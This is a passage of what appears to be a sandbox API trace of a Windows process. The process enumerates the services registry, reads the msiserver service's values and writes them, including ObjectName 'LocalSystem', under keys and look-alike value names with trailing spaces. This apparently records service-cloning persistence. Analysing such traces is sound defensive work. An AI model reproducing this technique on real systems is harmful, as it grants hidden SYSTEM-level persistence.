returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0241.982] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0241.982] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0241.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0241.982] RegCloseKey (hKey=0x150) returned 0x0 [0241.983] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0241.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0241.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0241.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0241.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0241.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0241.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0241.983] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0241.983] RegCloseKey (hKey=0x80000002) returned 0x0 [0241.983] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0241.983] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0241.984] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0241.984] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0241.984] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0241.984] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0241.985] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.985] RegCloseKey (hKey=0x14c) returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0241.985] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0241.985] RegCloseKey (hKey=0x150) returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0241.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0241.986] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0241.986] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0241.986] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0241.986] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0241.986] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0241.986] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0241.986] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0241.986] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.986] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.987] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.988] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.988] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.988] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0241.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0241.988] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0241.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0241.988] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.988] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.988] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.988] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.988] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.988] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.989] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.989] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0241.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.989] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0241.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.990] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.991] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.991] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.991] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.991] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.991] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0241.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0241.991] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0241.991] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.991] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.991] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.991] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: 